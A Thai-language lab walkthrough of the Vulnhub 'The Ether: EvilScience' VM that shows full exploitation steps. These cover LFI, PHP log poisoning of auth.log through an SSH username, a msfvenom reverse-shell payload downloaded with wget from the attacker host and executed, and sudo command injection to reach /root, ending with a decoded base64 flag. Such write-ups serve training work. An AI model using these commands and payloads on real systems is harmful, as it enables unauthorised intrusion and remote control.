วิธีการผ่าน TheEther – Vulnhub.com
กลับมาอีกครั้งกับการโพสต์เกี่ยวกับการทำ lab hack อย่างในคราวนี้ก็คือ Virtual Machine จาก Vulnhub.com ในชื่อว่า The Ether: EvilScience สามารถ download ได้จาก link นี้ครับ
Kali: 10.211.55.3
1. เริ่มต้นด้วยการหา IP เป้าหมายก่อน โดยใช้ nmap
1 |
nmap -sn 10.211.55.0/24 |
2. Scan หา port
1 |
nmap -A 10.211.55.42 |
เจอ port 22, 80
3. เข้าใช้งาน http://10.211.55.42
4. ทดสอบเข้าใช้งานเว็บพบว่า“น่าจะ”มีการใช้งาน include ที่ file
ทดสอบทำ Local File Inclusion
1 |
10.211.55.42/?file=../../../../etc/passwd |
พอเข้าผ่านเว็บไซด์ตรงๆมันกลายเป็นว่าถูก redirect ไปหน้าแรกซะงั้น ก็เลยลองเข้าผ่าน Burp Suite ดู
ที่น่าสนใจคือพอ index.php?file=index.php พบว่าเกิด 500 Internal Server Error ซึ่งน่าสนใจและจากภาพจะเห็นว่าถ้าเป็นตอนที่เรียก ../../../../../../etc/passwd ตัวโค้ดเปลี่ยนไปเล็กน้อย แสดงว่าเราอาจจะทำ LFI ได้แต่เข้าใจว่า user อาจไม่มีสิทธิ์ในการอ่านไฟล์ดังกล่าว เลยกลายเป็นว่างเปล่า ดังนั้นสิ่งที่ผมทำต่อคือมีอะไรที่เราจะทำ include ไฟล์ได้บ้างนอกจาก /etc/passwd,/var/log/apache2/access.log กันนะ ก็เลยไปดูที่ /var/log/ เพราะส่วนใหญ่ไฟล์ในนี้ส่วนใหญ่ user อื่นสามารถเข้ามาเปิดไฟล์ได้ด้วย user ทั่วไป ซึ่งผมก็ได้ลอง list ใน Kali ดูว่า โดยปกติ Linux จะเก็บไฟล์ log อะไรบ้าง
จากนั้นก็ไล่ request ไปเรื่อยๆ จนกระทั่งถึง auth.log ปรากฏว่าสามารถ include ได้ 😀 W00t W00t
ซึ่งไฟล์ /var/log/auth.log เป็นไฟล์เก็บประวัติการ login เข้าระบบผ่าน SSH นั่นเอง ซึ่งพอผมลอง login ด้วย user root ไปที่เครื่องเป้าหมายก็จะพบว่าเกิด log ขึ้น
1 |
Failed password for root from 10.211.55.3 port 36980 ssh2 |
5. เมื่อเราพบแบบนี้ก็เลยทำลองทำ Code Injection เข้าไปใน Log ดู ปรากฏว่ามันเวิร์ค!!!
1 |
ssh <?php system('ls') ?>@10.211.55.42 |
1 |
ssh '<?php system("id") ?>'@10.211.55.42 |
เพื่อให้ง่ายต่อการใช้งาน จึงทำ code injection ไปเป็น
1 |
ssh '<?php system($_GET["c"]) ?>'@10.211.55.42 |
แล้วเรียกใช้งานเป็น
1 |
http://10.211.55.42/index.php?file=/var/log/auth.log&c=ls |
6. สร้าง backdoor ไฟล์ จากนั้น download แล้ว run backdoor file
1 |
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.3 LPORT=4444 -f elf -o backdoor.elf |
1 2 3 4 5 |
http://10.211.55.3:8181/index.php?file=/var/log/auth.log&c=wget+-O+/tmp/backdoor.elf+http://10.211.55.3:8181/backdoor.elf http://10.211.55.3:8181/index.php?file=/var/log/auth.log&c=ls+/tmp http://10.211.55.3:8181/index.php?file=/var/log/auth.log&c=chmod+777+/tmp/backdoor.elf http://10.211.55.3:8181/index.php?file=/var/log/auth.log&c=ls+-lath+/tmp http://10.211.55.3:8181/index.php?file=/var/log/auth.log&c=/tmp/backdoor.elf |
7. พอเข้าไปได้ลองทำ Enumeration พบว่าเราใช้ sudo command ได้กับคำสั่งนี้ /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py
ทดสอบใช้งานดูเหมือนจะเป็นการใช้คำสั่ง tail ดู log ท้ายสุดของไฟล์ log
8. ทำ Code injection ตอนกำลังกำหนดไฟล์ที่จะอ่านปรากฏว่าทำได้ ก็เลยไป list ไฟล์ใน /root พอเห็นไฟล์ flag.png แล้วก็ copy กลับมายัง path เว็บไซด์ปัจจุบัน จากนั้นก็ download ไฟล์กลับมา
ซึ่งพอเปิด flag.png มาพบว่าเจอข้อความกวนตีน ดันบอกว่าคือไฟล์นี้ไม่ใช่ flag แต่บอกใกล้แล้ว
ดังนั้นผมก็เลยไปหาข้อมูลในเครื่องไปเรื่อยๆ หาเท่าไหร่ก็ไม่เจอ ก็เลยกลับมาที่ flag.png อีกที (ทำเสียเวลาเป็นอีกชม.) ใช้คำสั่ง strings เพื่อหาตัวอักษรภายใน flag.png พบเจอ string ที่บอกว่า flag คืออะไรซะงั้น
นำข้อความไป decode base64 ก็จะได้ flag ออกมา
1 |
echo b2N0b2JlciAxLCAyMDE3LgpXZSBoYXZlIG9yIGZpcnN0IGJhdGNoIG9mIHZvbHVudGVlcnMgZm9yIHRoZSBnZW5vbWUgcHJvamVjdC4gVGhlIGdyb3VwIGxvb2tzIHByb21pc2luZywgd2UgaGF2ZSBoaWdoIGhvcGVzIGZvciB0aGlzIQoKT2N0b2JlciAzLCAyMDE3LgpUaGUgZmlyc3QgaHVtYW4gdGVzdCB3YXMgY29uZHVjdGVkLiBPdXIgc3VyZ2VvbnMgaGF2ZSBpbmplY3RlZCBhIGZlbWFsZSBzdWJqZWN0IHdpdGggdGhlIGZpcnN0IHN0cmFpbiBvZiBhIGJlbmlnbiB2aXJ1cy4gTm8gcmVhY3Rpb25zIGF0IHRoaXMgdGltZSBmcm9tIHRoaXMgcGF0aWVudC4KCk9jdG9iZXIgMywgMjAxNy4KU29tZXRoaW5nIGhhcyBnb25lIHdyb25nLiBBZnRlciBhIGZldyBob3VycyBvZiBpbmplY3Rpb24sIHRoZSBodW1hbiBzcGVjaW1lbiBhcHBlYXJzIHN5bXB0b21hdGljLCBleGhpYml0aW5nIGRlbWVudGlhLCBoYWxsdWNpbmF0aW9ucywgc3dlYXRpbmcsIGZvYW1pbmcgb2YgdGhlIG1vdXRoLCBhbmQgcmFwaWQgZ3Jvd3RoIG9mIGNhbmluZSB0ZWV0aCBhbmQgbmFpbHMuCgpPY3RvYmVyIDQsIDIwMTcuCk9ic2VydmluZyBvdGhlciBjYW5kaWRhdGVzIHJlYWN0IHRvIHRoZSBpbmplY3Rpb25zLiBUaGUgZXRoZXIgc2VlbXMgdG8gd29yayBmb3Igc29tZSBidXQgbm90IGZvciBvdGhlcnMuIEtlZXBpbmcgY2xvc2Ugb2JzZXJ2YXRpb24gb24gZmVtYWxlIHNwZWNpbWVuIG9uIE9jdG9iZXIgM3JkLgoKT2N0b2JlciA3LCAyMDE3LgpUaGUgZmlyc3QgZmxhdGxpbmUgb2YgdGhlIHNlcmllcyBvY2N1cnJlZC4gVGhlIGZlbWFsZSBzdWJqZWN0IHBhc3NlZC4gQWZ0ZXIgZGVjcmVhc2luZywgbXVzY2xlIGNvbnRyYWN0aW9ucyBhbmQgbGlmZS1saWtlIGJlaGF2aW9ycyBhcmUgc3RpbGwgdmlzaWJsZS4gVGhpcyBpcyBpbXBvc3NpYmxlISBTcGVjaW1lbiBoYXMgYmVlbiBtb3ZlZCB0byBhIGNvbnRhaW5tZW50IHF1YXJhbnRpbmUgZm9yIGZ1cnRoZXIgZXZhbHVhdGlvbi4KCk9jdG9iZXIgOCwgMjAxNy4KT3RoZXIgY2FuZGlkYXRlcyBhcmUgYmVnaW5uaW5nIHRvIGV4aGliaXQgc2ltaWxhciBzeW1wdG9tcyBhbmQgcGF0dGVybnMgYXMgZmVtYWxlIHNwZWNpbWVuLiBQbGFubmluZyB0byBtb3ZlIHRoZW0gdG8gcXVhcmFudGluZSBhcyB3ZWxsLgoKT2N0b2JlciAxMCwgMjAxNy4KSXNvbGF0ZWQgYW5kIGV4cG9zZWQgc3ViamVjdCBhcmUgZGVhZCwgY29sZCwgbW92aW5nLCBnbmFybGluZywgYW5kIGF0dHJhY3RlZCB0byBmbGVzaCBhbmQvb3IgYmxvb2QuIENhbm5pYmFsaXN0aWMtbGlrZSBiZWhhdmlvdXIgZGV0ZWN0ZWQuIEFuIGFudGlkb3RlL3ZhY2NpbmUgaGFzIGJlZW4gcHJvcG9zZWQuCgpPY3RvYmVyIDExLCAyMDE3LgpIdW5kcmVkcyBvZiBwZW9wbGUgaGF2ZSBiZWVuIGJ1cm5lZCBhbmQgYnVyaWVkIGR1ZSB0byB0aGUgc2lkZSBlZmZlY3RzIG9mIHRoZSBldGhlci4gVGhlIGJ1aWxkaW5nIHdpbGwgYmUgYnVybmVkIGFsb25nIHdpdGggdGhlIGV4cGVyaW1lbnRzIGNvbmR1Y3RlZCB0byBjb3ZlciB1cCB0aGUgc3RvcnkuCgpPY3RvYmVyIDEzLCAyMDE3LgpXZSBoYXZlIGRlY2lkZWQgdG8gc3RvcCBjb25kdWN0aW5nIHRoZXNlIGV4cGVyaW1lbnRzIGR1ZSB0byB0aGUgbGFjayBvZiBhbnRpZG90ZSBvciBldGhlci4gVGhlIG1haW4gcmVhc29uIGJlaW5nIHRoZSBudW1lcm91cyBkZWF0aCBkdWUgdG8gdGhlIHN1YmplY3RzIGRpc3BsYXlpbmcgZXh0cmVtZSByZWFjdGlvbnMgdGhlIHRoZSBlbmdpbmVlcmVkIHZpcnVzLiBObyBwdWJsaWMgYW5ub3VuY2VtZW50IGhhcyBiZWVuIGRlY2xhcmVkLiBUaGUgQ0RDIGhhcyBiZWVuIHN1c3BpY2lvdXMgb2Ygb3VyIHRlc3RpbmdzIGFuZCBhcmUgY29uc2lkZXJpbmcgbWFydGlhbCBsYXdzIGluIHRoZSBldmVudCBvZiBhbiBvdXRicmVhayB0byB0aGUgZ2VuZXJhbCBwb3B1bGF0aW9uLgoKLS1Eb2N1bWVudCBzY2hlZHVsZWQgdG8gYmUgc2hyZWRkZWQgb24gT2N0b2JlciAxNXRoIGFmdGVyIFBTQS4K | base64 --decode |